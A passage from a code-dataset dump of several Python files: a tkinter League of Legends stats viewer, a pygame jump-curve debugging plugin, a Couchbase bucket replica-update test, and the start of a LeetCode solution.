self.rank_Label_First_WinRate.place_forget()\n\n self.rank_Label_Second_profileIcon.place_forget()\n self.rank_Label_Second_Name.place_forget()\n self.rank_Label_Second_Level.place_forget()\n self.rank_Label_Second_LeaguePoints.place_forget()\n self.rank_Label_Second_WinRate.place_forget()\n\n self.rank_Label_Third_profileIcon.place_forget()\n self.rank_Label_Third_Name.place_forget()\n self.rank_Label_Third_Level.place_forget()\n self.rank_Label_Third_LeaguePoints.place_forget()\n self.rank_Label_Third_WinRate.place_forget()\n\n self.rank_Label_Fourth_profileIcon.place_forget()\n self.rank_Label_Fourth_Name.place_forget()\n self.rank_Label_Fourth_Level.place_forget()\n self.rank_Label_Fourth_LeaguePoints.place_forget()\n self.rank_Label_Fourth_WinRate.place_forget()\n\n self.rank_Label_Fifth_profileIcon.place_forget()\n self.rank_Label_Fifth_Name.place_forget()\n self.rank_Label_Fifth_Level.place_forget()\n self.rank_Label_Fifth_LeaguePoints.place_forget()\n self.rank_Label_Fifth_WinRate.place_forget()\n\n def __init__(self, in_mainWindow, in_buttondrawer):\n global parser\n self.frame = 0.0\n self.counter = 0\n self.buttondrawer = in_buttondrawer\n\n # main frame\n self.main_frame = Frame(in_mainWindow.window)\n self.notebook = in_mainWindow.notebook\n self.notebook.add(self.main_frame, image = self.buttondrawer.img_tab_lol, text =\"lol\")\n self.notebook.bind(\"\", self.Event_tab_Click)\n\n self.main_canvas = Canvas(self.main_frame, width = self.mainWidth, height = self.mainHeight, bd = 0, relief=\"raised\")\n self.main_canvas.place(x=0, y=0)\n self.main_canvas.create_image(615, 375, image = self.buttondrawer.img_blackbackground_raw, tags = \"background\")\n\n # Main Scene label\n self.label_search = Label(self.main_canvas, width = 350, height = 350, bd = 0, image = self.buttondrawer.img_label_search)\n self.label_rotation = Label(self.main_canvas, width = 350, height = 350, bd = 0, image = self.buttondrawer.img_label_rotation)\n self.label_challenger = Label(self.main_canvas, width = 350, height = 350, bd = 0, image = self.buttondrawer.img_label_challenger)\n\n self.Enable_mainlabels()\n\n # 이벤트 함수 바인딩\n self.label_search.bind(\"\", self.Event_search_IN)\n self.label_search.bind(\"\", self.Event_search_OUT)\n self.label_search.bind(\"\", self.Event_search_CLICK)\n self.label_rotation.bind(\"\", self.Event_rotation_IN)\n self.label_rotation.bind(\"\", self.Event_rotation_OUT)\n self.label_rotation.bind(\"\", self.Event_rotation_CLICK)\n self.label_challenger.bind(\"\", self.Event_challenger_IN)\n self.label_challenger.bind(\"\", self.Event_challenger_OUT)\n self.label_challenger.bind(\"\", self.Event_challenger_CLICK)\n\n # main scene 관련 변수 선언\n self.main_animationflag = False\n self.main_animationtype = 0\n\n # sub scene gif animation\n self.gif_animationflag = False\n\n # back button\n self.label_back = Label(self.main_canvas, width = 50, height = 50, bd = 0, image = self.buttondrawer.img_label_back)\n self.label_back.bind(\"\", self.Event_back_IN)\n self.label_back.bind(\"\", self.Event_back_OUT)\n self.label_back.bind(\"\", self.Event_back_CLICK)\n\n # rank 관련 변수 선언 ################\n self.challenger_rankerlist_raw = list()\n self.challenger_rankerlist = list()\n self.challenger_profileiconlist = list()\n self.challenger_animationflag = False\n self.challenger_isAnimationing = False\n\n self.Get_rankinginfo()\n self.Sort_rankinginfo()\n ####################################\n\n # rotation 관련 변수 선언 ############\n self.rotation_imagelist = list()\n self.rotation_labellist = [Label(self.main_canvas, width = 150, height = 200, bd = 0) for idx in range(0, 14)]\n self.rotation_animationflag = False\n\n self.Get_rotation()\n self.Set_rotation_labels()\n self.Set_challenger_profileicon()\n self.Set_challengers()\n ####################################\n\n # search 관련 변수 선언 ##############\n self.search_isEmpty = True\n self.search_animationflag = False\n TempFont = Font(self.main_canvas, size=15, weight='bold', family='나눔고딕')\n self.search_entry = Entry(self.main_canvas, font=TempFont, relief='solid', borderwidth=5)\n #self.search_button_search = Button(self.main_canvas, image=self.buttondrawer.img_button_search)\n self.search_button_search = Button(self.main_canvas, image = self.buttondrawer.img_button_search, command = lambda: self.SearchSummonerName(str(self.search_entry.get())))\n self.search_button_reset = Button(self.main_canvas, image = self.buttondrawer.img_button_reset)\n self.search_isClicked = False\n self.isAnimationing = False\n # 함수 바인딩\n self.search_button_search.bind(\"\", self.Event_search_searchIN)\n self.search_button_search.bind(\"\", self.Event_search_searchOUT)\n self.search_button_search.bind(\"\", self.Event_search_searchCLICK)\n self.search_button_reset.bind(\"\", self.Event_search_resetIN)\n self.search_button_reset.bind(\"\", self.Event_search_resetOUT)\n\n self.search_label_profileIcon = Label(self.main_canvas, relief=\"sunken\", bg = \"black\" , bd = 5)\n self.search_label_Emblem = Label(self.main_canvas, relief=\"sunken\", bg=\"black\", bd = 5)\n self.search_label_Name = Label(self.main_canvas, text=\"소환사 레벨:\", bg = \"black\", fg = \"white\")\n self.search_label_Level = Label(self.main_canvas, text=\"소환사 레벨:\", bg = \"black\", fg = \"white\")\n self.search_label_WinRate = Label(self.main_canvas, text=\"전 승 패\", bg = \"black\", fg = \"white\")\n self.search_label_Queuetype = Label(self.main_canvas, text=\"큐 정보\", bg = \"black\", fg = \"white\")\n self.search_label_LeagueName = Label(self.main_canvas, text=\"리그 정보\", bg = \"black\", fg = \"white\")\n self.search_label_LeaguePoints = Label(self.main_canvas, text=\"LP\", bg = \"black\", fg = \"white\")\n ####################################\n\n def SearchSummonerName(self, summonerName):\n global version_profileicon\n\n self.isEmpty = False\n self.main_canvas.delete('search')\n self.main_canvas.update()\n\n jsonData = parser.Get_API_Search_byName(summonerName)\n if jsonData == None:\n self.isEmpty = True\n self.gif_animationflag = True\n self.Animate_gif(self.counter)\n return\n #print(jsonData)\n #print(\"검색 소환사명:\" + jsonData['name'])\n\n self.data_summoner_searched = SearchedSummoner(jsonData['name'], jsonData['id'], jsonData['accountId'], jsonData['profileIconId'], jsonData['summonerLevel'] )\n\n # 이름 출력\n self.search_label_Name.config(text=self.data_summoner_searched.name)\n # 레벨 출력\n self.search_label_Level.config(text=\"소환사 레벨: \" + str(self.data_summoner_searched.level))\n # 전적 텍스트 출력\n if self.data_summoner_searched.isActive:\n self.search_label_WinRate.config(text = str(self.data_summoner_searched.total) + \"전 \" + str(self.data_summoner_searched.win) + \"승 \" + str(self.data_summoner_searched.loss) + \"패 승률:\" + \"{0:.1f}%\".format(self.data_summoner_searched.win * 100 / self.data_summoner_searched.total))\n self.search_label_Queuetype.config(text = self.data_summoner_searched.queue)\n self.search_label_LeagueName.config(text = self.data_summoner_searched.tier + \" \" + self.data_summoner_searched.rank)\n self.search_label_LeaguePoints.config(text = str(self.data_summoner_searched.lp) + \" LP\")\n else:\n self.search_label_WinRate.config(text=\"승률 정보 없음\")\n self.search_label_Queuetype.config(text=\"큐 정보 없음\")\n self.search_label_LeagueName.config(text=\"배치 리그 정보 없음\")\n self.search_label_LeaguePoints.config(text=\"리그 포인트 정보 없음\")\n # ..\n\n # 프로필 아이콘 출력\n self.search_img_profileicon = parser.Get_ProfileIcon(version_profileicon, self.data_summoner_searched.id_Profile, (100, 100))\n self.search_label_profileIcon.config(image = self.search_img_profileicon, relief = \"raised\", bd = 5)\n\n # 리그 아이콘 출력\n if self.data_summoner_searched.isActive:\n Emblemfilepath = \"./lol_images/Emblem_\" + str(self.data_summoner_searched.tier) + \".png\"\n else:\n Emblemfilepath = \"./lol_images/Emblem_\" + \"UNRANKED\" + \".png\"\n\n self.search_img_Emblem = parser.Get_ImageFromFile(Emblemfilepath, (140, 159))\n self.search_label_Emblem.config(image = self.search_img_Emblem, relief = \"raised\", bd = 5)\n\n if self.data_summoner_searched.isActive:\n self.isAnimationing = True\n self.DrawGraph()\n\n self.gif_animationflag = True\n self.Animate_gif(self.counter)\n\n def DrawGraph(self):\n self.WinRate = self.data_summoner_searched.win * 360 / self.data_summoner_searched.total\n self.LossRate = 360 - self.WinRate\n self.currWinRate = 0.0\n self.currLossRate = 0.0\n self.textWinRate = 0.0\n TempFont = Font(self.main_canvas, size=50, weight='bold', family='나눔고딕')\n while self.isAnimationing:\n\n if ((self.currWinRate < self.WinRate) & (self.currLossRate < self.LossRate)):\n time.sleep(0.0025)\n self.currWinRate += float(self.WinRate) * 0.0025\n self.currLossRate += float(self.LossRate) * 0.0025\n self.textWinRate = self.currWinRate\n self.main_canvas.delete('search')\n else:\n self.currWinRate = self.WinRate\n self.currLossRate = self.LossRate\n self.isAnimationing = False\n #self.currWinRate = 0.0\n #self.currLossRate = 0.0\n\n self.main_canvas.create_arc(700, 400, 1000, 700, start=0, extent=self.currWinRate, fill=\"RoyalBlue2\",\n tags='search')\n self.main_canvas.create_arc(700, 400, 1000, 700, start=self.WinRate, extent=self.currLossRate, fill=\"red3\",\n tags='search')\n\n self.main_canvas.create_text(880, 550, font=TempFont,text = str(int((self.textWinRate * 100) / 360)) + \"%\", fill='white', tags ='search')\n self.main_canvas.update()\n\n def Draw_ChallengerGraph(self):\n self.challenger_isTopAnimationing = True\n barWidth = 260\n barheight = 70\n self.c_WinRate = [self.challenger_rankerlist[idx].win * barWidth / self.challenger_rankerlist[idx].total for idx in range(1,5)]\n self.c_LossRate = [barWidth - self.c_WinRate[idx] for idx in range(0, 4)]\n self.c_currWinRate = [0.0 for x in range(0, 4)]\n self.c_currLossRate = [0.0 for x in range(0, 4)]\n self.c_textWinRate = [0.0 for x in range(0, 4)]\n self.c_isWinAnimationing = [False for x in range(0,4)]\n\n print(\"{0},{1},{2},{3}\".format(self.c_WinRate, self.c_LossRate, self.c_currWinRate, self.c_currLossRate))\n\n self.first_WinRate = self.challenger_rankerlist[0].win * 360 / self.challenger_rankerlist[0].total\n self.first_LossRate = 360 - self.first_WinRate\n self.first_currWinRate = 0.0\n self.first_currLossRate = 0.0\n self.first_textWinRate = 0.0\n\n while self.challenger_isAnimationing:\n time.sleep(0.025)\n if ((self.first_currWinRate < self.first_WinRate) & (self.first_currLossRate < self.first_LossRate)):\n\n self.first_currWinRate += float(self.first_WinRate) * 0.025\n self.first_currLossRate += float(self.first_LossRate) * 0.025\n self.first_textWinRate = self.first_currWinRate\n self.main_canvas.delete('challenger')\n else:\n self.challenger_isTopAnimationing = False\n self.first_currWinRate = self.first_WinRate\n self.first_currLossRate = self.first_LossRate\n if not self.challenger_isTopAnimationing:\n #self.main_canvas.delete('challenger')\n if not((self.c_WinRate[0] < self.c_currWinRate[0]) and(self.c_WinRate[1] < self.c_currWinRate[1]) and(self.c_WinRate[2] < self.c_currWinRate[2]) and(self.c_WinRate[3] < self.c_currWinRate[3])):\n for idx in range(0,4):\n if (self.c_WinRate[idx] > self.c_currWinRate[idx]):\n self.c_currWinRate[idx] += self.c_WinRate[idx] * 0.025\n elif (self.c_WinRate[idx] < self.c_currWinRate[idx]):\n self.c_isWinAnimationing[idx] = True\n\n if not((self.c_LossRate[0] < self.c_currLossRate[0]) and (self.c_LossRate[1] < self.c_currLossRate[1]) and (self.c_LossRate[2] < self.c_currLossRate[2]) and (self.c_LossRate[3] < self.c_currLossRate[3])):\n for idx in range(0, 4):\n if (self.c_LossRate[idx] > self.c_currLossRate[idx]):\n self.c_currLossRate[idx] += self.c_LossRate[idx] * 0.025\n\n if (self.c_WinRate[0] <= self.c_currWinRate[0]) and (self.c_WinRate[1] <= self.c_currWinRate[1]) and (self.c_WinRate[2] <= self.c_currWinRate[2]) and (self.c_WinRate[3] <= self.c_currWinRate[3]) and (self.c_LossRate[0] <= self.c_currLossRate[0]) and(self.c_LossRate[1] <= self.c_currLossRate[1]) and(self.c_LossRate[2] <= self.c_currLossRate[2]) and (self.c_LossRate[3] <= self.c_currLossRate[3]):\n self.challenger_isAnimationing = False\n\n self.main_canvas.create_arc(740, 215, 890, 365, start=0, extent=self.first_currWinRate, fill=\"RoyalBlue2\",\n tags='challenger')\n self.main_canvas.create_arc(740, 215, 890, 365, start=self.first_WinRate, extent=self.first_currLossRate, fill=\"IndianRed1\",\n tags='challenger')\n for idx in range(0, 4):\n self.main_canvas.create_rectangle(85 + 267 * idx - 2, 510 - 5, 85 + 267 * idx + barWidth + 2, 510 + barheight +5, fill=\"black\", tags=\"challenger\")\n #self.main_canvas.create_rectangle(85 + 267 * idx, 510, 85 + 267 * idx + barWidth, 510 + barheight, fill = \"red\", tags=\"challenger\")\n self.main_canvas.create_rectangle(85 + 267 * idx, 510, 85 + 267 * idx + self.c_currWinRate[idx], 510 + barheight, fill=\"DodgerBlue2\", tags=\"challenger\")\n self.main_canvas.create_rectangle(85 + 267 * idx + self.c_currWinRate[idx], 511,\n 85 + 267 * idx + self.c_currWinRate[idx] + self.c_currLossRate[idx], 580,\n fill=\"firebrick1\", tags=\"challenger\")\n self.main_canvas.update()\n\n self.gif_animationflag = True\n self.Animate_gif(self.counter)\n\n def Get_rotation(self):\n # url과 api-key를 이용해서 챔피언 id 리스트를 가져온다.\n # 이를 통해 챔피언 이름 리스트(파일용으로 사용할 용도)를 생성한다.\n self.rotation_FileNameList = list()\n self.rotation_IDList = list()\n self.rotation_NumberOfChampions = 0\n\n jsonData = parser.Get_API_ChampionRotations()\n self.rotation_IDList = jsonData[\"freeChampionIds\"]\n\n for ID in self.rotation_IDList:\n self.rotation_FileNameList.append(findChampionName(ID))\n self.rotation_NumberOfChampions = len(self.rotation_FileNameList)\n print(self.rotation_FileNameList)\n\n def Set_rotation_labels(self):\n n_Champion = self.rotation_NumberOfChampions\n for idx in range(n_Champion):\n self.rotation_imagelist.append(Draw_rotation_images(self.rotation_FileNameList[idx], 150, 200))\n\n for idx in range(0, 7):\n self.rotation_labellist[idx].configure(image = self.rotation_imagelist[idx])\n for idx in range(7, 14):\n self.rotation_labellist[idx].configure(image = self.rotation_imagelist[idx])\n\n","sub_path":"TermProject/LOL_Mainframe.py","file_name":"LOL_Mainframe.py","file_ext":"py","file_size_in_byte":46935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"215343652","text":"from Utils.ViewPluginBase import ViewPluginBase\nfrom Utils.JumpCalculator import JumpCalculator, JumpSizeMode, JumpParameters\nimport pygame\nfrom Utils.ServiceLocator import ServiceLocator, ServiceNames\nfrom Utils.player.PlayerMoveStateMachine import PlayerMoveState\nfrom Utils.ViewPointer import ViewPoint\nfrom Utils.gui.TextLabel import TextLabel\nimport json\nimport os.path\n\n\n\nclass ShowJump(ViewPluginBase):\n \"\"\"Displays the jump curve.\"\"\"\n def __init__(self):\n super().__init__()\n self._pluginVisible = True\n self._player = None\n self._calculationDirty = True\n self._savedGameCoordinates = {}\n self._maxCalculationTime = None\n self._parameters = None\n self._jumpMode = JumpSizeMode.Short\n\n\n self._jumpCalculator = None # JumpCalculator(0.5, 500, 100)\n self._buttons = pygame.sprite.Group()\n\n self._xGroup = pygame.sprite.Group()\n self._xButton = TextLabel(770, 20)\n self._xButton.caption = \"x\"\n self._xButton._onClickHandler = self.onXButtonClick\n self._xGroup.add(self._xButton)\n\n \n self._vxMinus = TextLabel(620,70)\n self._vxMinus._onClickHandler = self.onVxMinusClick\n self._vxMinus.caption = \"-VX\"\n self._buttons.add(self._vxMinus)\n\n self._vxPlus = TextLabel(620,30)\n self._vxPlus._onClickHandler = self.onVxPlusClick\n self._vxPlus.caption = \"+VX\"\n self._buttons.add(self._vxPlus)\n\n self._v0Plus = TextLabel(660,30)\n self._v0Plus._onClickHandler = self.onV0PlusClick\n self._v0Plus.caption = \"+V0\"\n self._buttons.add(self._v0Plus)\n\n self._v0Minus = TextLabel(660,70)\n self._v0Minus._onClickHandler = self.onV0MinusClick\n self._v0Minus.caption = \"-V0\"\n self._buttons.add(self._v0Minus)\n\n self._gravPlus = TextLabel(700,30)\n self._gravPlus._onClickHandler = self.on_gravPlusClick\n self._gravPlus.caption = \"+Grav.\"\n self._buttons.add(self._gravPlus)\n\n self._gravMinus = TextLabel(700,70)\n self._gravMinus._onClickHandler = self.on_gravMinusClick\n self._gravMinus.caption = \"-Grav.\"\n self._buttons.add(self._gravMinus)\n\n self._buttonJumpMonde = TextLabel(620,110)\n self._buttonJumpMonde.caption = \"Short\"\n self._buttonJumpMonde._onClickHandler = self.on_jumpModeButtonClick\n self._buttons.add(self._buttonJumpMonde)\n\n self._buttonSave = TextLabel(680, 110)\n self._buttonSave.caption = \"Save\"\n self._buttonSave._onClickHandler = self.onSaveButtonClick\n self._buttons.add(self._buttonSave)\n\n self._buttonLoad = TextLabel(740, 110)\n self._buttonLoad.caption = \"Load\" \n self._buttonLoad._onClickHandler = self.onLoadButtonClick\n self._buttons.add(self._buttonLoad)\n\n\n\n self.TIMEREVENT = pygame.USEREVENT + 6\n pygame.time.set_timer(self.TIMEREVENT, 200)\n\n def initializePlugin(self, parentView):\n super().initializePlugin(parentView)\n\n if not self._player:\n self._player = ServiceLocator.getGlobalServiceInstance(ServiceNames.Player)\n #self._jumpCalculator.g = self._player.jumpG\n #self._jumpCalculator.v0 = self._player.jumpV0\n #self._jumpCalculator.vx = self._player.jumpVx\n self._jumpCalculator = self._player._JumpCalculator\n self._parameters = self._jumpCalculator.jumpParameters\n\n self.registerEventHandler()\n\n\n def handleEvents(self, events):\n for event in events:\n if event.type == pygame.MOUSEBUTTONUP:\n pos = pygame.mouse.get_pos()\n self.handleOnMouseClick(pos)\n\n if event.type == pygame.KEYDOWN:\n self.handleKeyDownEvent(event)\n\n\n\n if event.type == self.TIMEREVENT:\n self._calculationDirty = True\n pass\n\n def handleKeyDownEvent(self, event):\n mods = pygame.key.get_mods()\n if event.key == pygame.K_1:\n if mods & pygame.KMOD_SHIFT:\n self.SaveTeleport(1)\n else:\n self.Teleport(1)\n elif event.key == pygame.K_2:\n if mods & pygame.KMOD_SHIFT:\n self.SaveTeleport(2)\n else:\n self.Teleport(2)\n elif event.key == pygame.K_3:\n if mods & pygame.KMOD_SHIFT:\n self.SaveTeleport(3)\n else:\n self.Teleport(3)\n\n \n pass\n\n def handleOnMouseClick(self, position):\n for button in self._buttons:\n if button.rect.collidepoint(position):\n button.onClick()\n for button in self._xGroup:\n if button.rect.collidepoint(position):\n button.onClick()\n pass\n \n def Teleport(self, memoryNo):\n print(\"Teleport: {0}\".format(memoryNo))\n if memoryNo in self._savedGameCoordinates:\n data = self._savedGameCoordinates[memoryNo]\n self._viewPointer.playerPositionX = data[\"PlayerPosition\"].left\n self._viewPointer.playerPositionY = data[\"PlayerPosition\"].top\n else:\n print(\"No saved game coordinate found.\")\n pass\n\n def SaveTeleport(self, memoryNo):\n \n self._savedGameCoordinates[memoryNo] = {\n \"PlayerPosition\": ViewPoint( self._viewPointer.playerPositionX, self._viewPointer.playerPositionY),\n \"Screen\": (self._viewPointer.screenPosition.copy())\n }\n print(\"Position saved!\")\n pass\n\n def drawCurveParametersText(self):\n font = pygame.font.Font(None, 24)\n data = \"g: {0} V0: {1} Vx: {2}\".format(self._jumpCalculator.g, self._jumpCalculator.v0, self._jumpCalculator.vx)\n text = font.render(data, 1, (1, 1, 1))\n textpos = text.get_rect()\n textpos.left = 570\n textpos.top = 470\n self._screen.blit(text, textpos)\n\n def getMoveStateVector(self):\n vector = None\n if self._player.moveState in [PlayerMoveState.StandingLeft, PlayerMoveState.MoveLeft]:\n vector = 1\n elif self._player.moveState in [PlayerMoveState.StandingRight, PlayerMoveState.MoveRight]:\n vector = -1\n return vector\n\n\n def calculateJumpTime(self, vector):\n \"\"\"Find barriers on the curve.\"\"\"\n result = None\n offset = ViewPoint(self._viewPointer.playerPositionX, self._viewPointer.playerPositionY)\n abort = False\n time = 0\n while not abort:\n time += 10\n x = self._jumpCalculator.calcX(time)\n y = self._jumpCalculator.calcY(time)\n position = ViewPoint(offset.left - x * vector, offset.top - y)\n # Check barriers\n #if self._player.tilesWatcher.isBarrierOnPosition(position, CheckDirection.Ground):\n if self._player.collider.currentState.isGrounded:\n screenOffset = self._viewPointer.playerOffset.copy()\n vector = self.getMoveStateVector()\n relativ = (screenOffset.left - x * vector, screenOffset.top - y)\n\n\n result = (time, position, relativ)\n abort = True\n if time > 3000:\n result = (3000, None, None)\n abort = True\n return result\n\n\n #def drawMaxCalculationTimePoint(self):\n # if self._maxCalculationTime:\n\n # if self._player.moveState in [PlayerMoveState.StandingLeft, PlayerMoveState.MoveLeft]:\n # vector = 1\n # elif self._player.moveState in [PlayerMoveState.StandingRight, PlayerMoveState.MoveRight]:\n # vector = -1\n\n # if self._maxCalculationTime[2]:\n # rect = pygame.Rect(self._maxCalculationTime[2][0], self._maxCalculationTime[2][1], 32, 32)\n # pygame.draw.rect(self._screen, (0, 255, 0), rect, 2)\n\n\n\n def drawCurve(self):\n vector = self.getMoveStateVector()\n\n if vector:\n if self._calculationDirty:\n # Calculate maximum jump time\n self._maxCalculationTime = self.calculateJumpTime(vector)\n self._calculationDirty = False\n\n offset = self._viewPointer.playerOffset.copy()\n #offset.left += 16\n #offset.top += 16\n start = (offset.left + 16, offset.top + 32)\n for i in range(0, 2500, 100):\n x = self._jumpCalculator.calcX(i)\n y = self._jumpCalculator.calcY(i)\n end = (offset.left - x * vector + 16, offset.top - y + 32)\n color = (255, 1, 1) \n pygame.draw.line(self._screen, color, start, end)\n start = end\n \n\n self._buttons.draw(self._screen)\n self.drawCurveParametersText()\n #self.drawMaxCalculationTimePoint()\n pass\n\n def drawJumpUp(self):\n pass\n\n def drawPlugin(self):\n\n if self._pluginVisible:\n if self._player.moveState == PlayerMoveState.Standing:\n self.drawJumpUp()\n self.drawCurve()\n self._xGroup.draw(self._screen)\n pass\n \n\n \n\n def update(self):\n return super().update()\n\n def onVxMinusClick(self, sender):\n self._jumpCalculator.vx -= 10\n self._player.jumpVx -=10\n self._calculationDirty = True\n pass\n\n def onVxPlusClick(self, sender):\n self._jumpCalculator.vx += 10\n self._player.jumpVx += 10\n self._calculationDirty = True\n\n def onV0PlusClick(self, sender):\n self._jumpCalculator.v0 += 10\n self._player.jumpV0 +=10\n self._calculationDirty = True\n\n def onV0MinusClick(self, sender):\n self._jumpCalculator.v0 -= 10\n self._player.jumpV0 -= 10\n self._calculationDirty = True\n\n def on_gravPlusClick(self, sender):\n self._jumpCalculator.g += 10\n self._player.jumpG += 10\n self._calculationDirty = True\n\n def on_gravMinusClick(self, sender):\n self._jumpCalculator.g -= 10\n self._player.jumpG -= 10\n self._calculationDirty = True\n\n def on_jumpModeButtonClick(self, sender):\n current = JumpParameters(g=self._jumpCalculator.g, v0= self._jumpCalculator.v0, vx = self._jumpCalculator.vx)\n self._jumpCalculator.jumpParameters[self._jumpCalculator.horizontalJumpSize] = current\n if self._jumpMode == JumpSizeMode.Short:\n self.jumpMode = JumpSizeMode.Long\n else:\n self.jumpMode = JumpSizeMode.Short\n\n\n def serializeObject(self, data):\n result = {}\n for savePoint in data:\n savePoints = data[savePoint]\n result[savePoint] = {}\n for offsetName in savePoints:\n offset = savePoints[offsetName]\n result[savePoint][offsetName] = {}\n result[savePoint][offsetName] = (offset.left, offset.top)\n\n return result\n \n def deserializeObject(self, data):\n result = {}\n for savePoint in data:\n i = int(savePoint)\n result[i] = {}\n offsets = data[savePoint]\n for offsetName in offsets:\n offset = ViewPoint(int(offsets[offsetName][0]), int(offsets[offsetName][1]))\n result[i][offsetName] = offset\n return result\n\n\n def onSaveButtonClick(self, sender):\n #Save current jump parameters into parameters store\n #self._parameters[self._jumpMode] = (self._jumpCalculator.g, self._jumpCalculator.v0, self._jumpCalculator.vx)\n #Save into file\n\n\n #data = {\"JumpParameters\" : self._parameters,\n # \"Teleports\" : self.serializeObject(self._savedGameCoordinates)\n # }\n data = {\"JumpParameters\" : self._parameters,\n \"Teleports\" : self._savedGameCoordinates\n }\n\n #with open('jumpdata.json', 'w') as outfile:\n # json.dump(data, outfile)\n with open('jumpdata.json', 'w') as text_file:\n #text_file.write(jsonpickle.encode(data))\n print(\"Dummy\")\n\n pass\n def onLoadButtonClick(self, sender):\n data = None\n if os.path.isfile('jumpdata.json'):\n with open('jumpdata.json') as data_file:\n #data = json.load(data_file)\n txt = data_file.read()\n #data = jsonpickle.decode(txt)\n params = data[\"JumpParameters\"]\n #self._savedGameCoordinates = self.deserializeObject(data[\"Teleports\"])\n self._savedGameCoordinates = data[\"Teleports\"]\n\n #self._parameters[JumpMode.Short] = params[\"{0}\".format(JumpMode.Short)]\n #self._parameters[JumpMode.Long] = params[\"{0}\".format(JumpMode.Long)]\n\n #if \"1\" in teleports:\n # self._savedGameCoordinates[1] = \n #Reload\n self.jumpMode = self.jumpMode\n pass\n\n def onXButtonClick(self, sender):\n \"\"\"User clicks on x button.\"\"\"\n if self._pluginVisible:\n self._pluginVisible = False\n else:\n self._pluginVisible = True\n pass\n\n def changeJumpMode(self, mode):\n parameters = self._parameters[mode]\n self._jumpCalculator.horizontalJumpSize = mode\n\n if mode == JumpSizeMode.Long:\n self._buttonJumpMonde.caption = \"Long\"\n else:\n self._buttonJumpMonde.caption = \"Short\"\n\n @property\n def jumpMode(self):\n return self._jumpMode\n @jumpMode.setter\n def jumpMode(self, value):\n self._jumpMode = value\n self.changeJumpMode(value)\n\n\n\n\n\n","sub_path":"SimpleGame/SimpleGame/Src/Plugins/ShowJump.py","file_name":"ShowJump.py","file_ext":"py","file_size_in_byte":13628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"624746278","text":"from basetestcase import BaseTestCase\nfrom couchbase_helper.documentgenerator import doc_generator\nfrom BucketLib.BucketOperations import BucketHelper\nimport time\n\n\nclass Bucket_param_test(BaseTestCase):\n def setUp(self):\n super(Bucket_param_test, self).setUp()\n self.transaction_timeout = self.input.param(\"transaction_timeout\", 100)\n self.transaction_commit = self.input.param(\"transaction_commit\", True)\n self.op_type = self.input.param(\"op_type\", 'create')\n self.start_doc_for_insert = 0\n self.key = 'test-doc'.rjust(self.key_size, '0')\n nodes_init = self.cluster.servers[1:self.nodes_init] \\\n if self.nodes_init != 1 else []\n self.task.rebalance([self.cluster.master], nodes_init, [])\n self.cluster.nodes_in_cluster.extend(\n [self.cluster.master] + nodes_init)\n self.bucket_util.create_default_bucket(\n replica=self.num_replicas, compression_mode=self.compression_mode)\n self.bucket_util.add_rbac_user()\n self.src_bucket = self.bucket_util.get_all_buckets()\n # Reset active_resident_threshold to avoid further data load as DGM\n self.active_resident_threshold = 0\n\n doc_create = doc_generator('test-d', 0, self.num_items,\n doc_size=self.doc_size,\n doc_type=\"json\",\n vbuckets=self.vbuckets)\n for bucket in self.bucket_util.buckets:\n task = self.task.async_load_gen_docs(\n self.cluster, bucket, doc_create, \"create\", 0,\n persist_to=self.persist_to, replicate_to=self.replicate_to,\n batch_size=10, process_concurrency=8)\n self.task.jython_task_manager.get_task_result(task)\n # Verify initial doc load count\n time.sleep(20)\n self.log.info(\"==========Finished Bucket_param_test setup========\")\n\n def tearDown(self):\n super(Bucket_param_test, self).tearDown()\n\n def generic_replica_update(self, doc_ops, bucket_helper_obj,\n replicas_to_update):\n update_replicateTo_persistTo = self.input.param(\n \"update_replicateTo_persistTo\", False)\n def_bucket = self.bucket_util.get_all_buckets()[0]\n \n\n for replica_num in replicas_to_update:\n tasks = list()\n # Creating doc creator to be used by test cases\n doc_create = doc_generator(self.key, self.start_doc_for_insert,\n self.num_items,\n doc_size=self.doc_size,\n doc_type=\"json\",\n vbuckets=self.vbuckets)\n\n self.log.info(\"Updating replica count of bucket to {0}\"\n .format(replica_num))\n\n if update_replicateTo_persistTo:\n if self.self.durability_level is None:\n self.replicate_to = replica_num\n self.persist_to = replica_num + 1\n\n bucket_helper_obj.change_bucket_props(def_bucket.name,\n replicaNumber=replica_num)\n\n# create, create;update, create;update;delete\n tasks.append(self.task.async_load_gen_docs_atomicity(self.cluster, self.bucket_util.buckets,\n doc_create,self.op_type,\n batch_size=10,timeout_secs=self.sdk_timeout,process_concurrency=8,\n retries=self.sdk_retries, transaction_timeout=self.transaction_timeout, commit=self.transaction_commit))\n\n # Start rebalance task with doc_ops in parallel\n tasks.append(self.task.async_rebalance(self.cluster.servers,\n [], []))\n self.num_items *= 2\n self.start_doc_for_insert = self.num_items\n\n for task in tasks:\n self.task.jython_task_manager.get_task_result(task)\n time.sleep(20)\n\n\n def test_replica_update(self):\n if self.nodes_init < 2:\n self.log.error(\"Test not supported for < 2 node cluster\")\n return\n\n doc_ops = self.input.param(\"doc_ops\", None)\n if doc_ops is None:\n doc_ops = list()\n else:\n doc_ops = doc_ops.split(\":\")\n\n bucket_helper = BucketHelper(self.cluster.master)\n\n # Replica increment tests\n self.generic_replica_update(doc_ops, bucket_helper,\n range(1, min(3, self.nodes_init)))\n # Replica decrement tests\n self.generic_replica_update(doc_ops, bucket_helper,\n range(min(3, self.nodes_init), 1, -1))\n","sub_path":"pytests/Atomicity/bucket_param_update.py","file_name":"bucket_param_update.py","file_ext":"py","file_size_in_byte":4834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"169438403","text":"\"\"\"\n @Author : liujianhan\n @Date : 21/1/17 14:36\n @Project : leetcode_in_python\n @FileName : 1232.缀点成线.py\n @Description : 在一个 XY 坐标系中有一些点,我们用数组 coordinates 来分别记录它们的坐标,其中 coordinates[i] = [x, y] 表示横坐标为 x、纵坐标为 y 的点。\n 请你来判断,这些点是否在该坐标系中属于同一条直线上,是则返回 true,否则请返回 false。\n\n 示例 1:\n 输入:coordinates = [[1,2],[2,3],[3,4],[4,5],[5,6],[6,7]]\n 输出:true\n\n 示例 2:\n 输入:coordinates = [[1,1],[2,2],[3,4],[4,5],[5,6],[7,7]]\n 输出:false\n  \n 提示:\n\n 2 <= coordinates.length <= 1000\n coordinates[i].length == 2\n -10^4 <= coordinates[i][0], coordinates[i][1] <= 10^4\n coordinates 中不含重复的点\n\"\"\"\nfrom typing import List\n\n\nclass Solution:\n # 72ms, 15.1MB\n 